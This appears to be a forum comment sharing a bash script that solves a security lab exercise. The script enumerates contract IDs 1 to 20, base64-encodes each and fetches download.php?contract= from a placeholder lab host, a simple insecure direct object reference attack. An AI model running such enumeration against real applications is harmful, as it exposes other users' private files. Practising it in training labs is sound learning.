for anyone who wants to use bash script to solve this exercise, this is my script and it worked well.
#!/bin/bash
url="http://<IP:PORT>/download.php?contract="
for i in {1..20}; do
for encodedid in $(echo -n $i | base64); do
curl "$url$encodedid"
done
done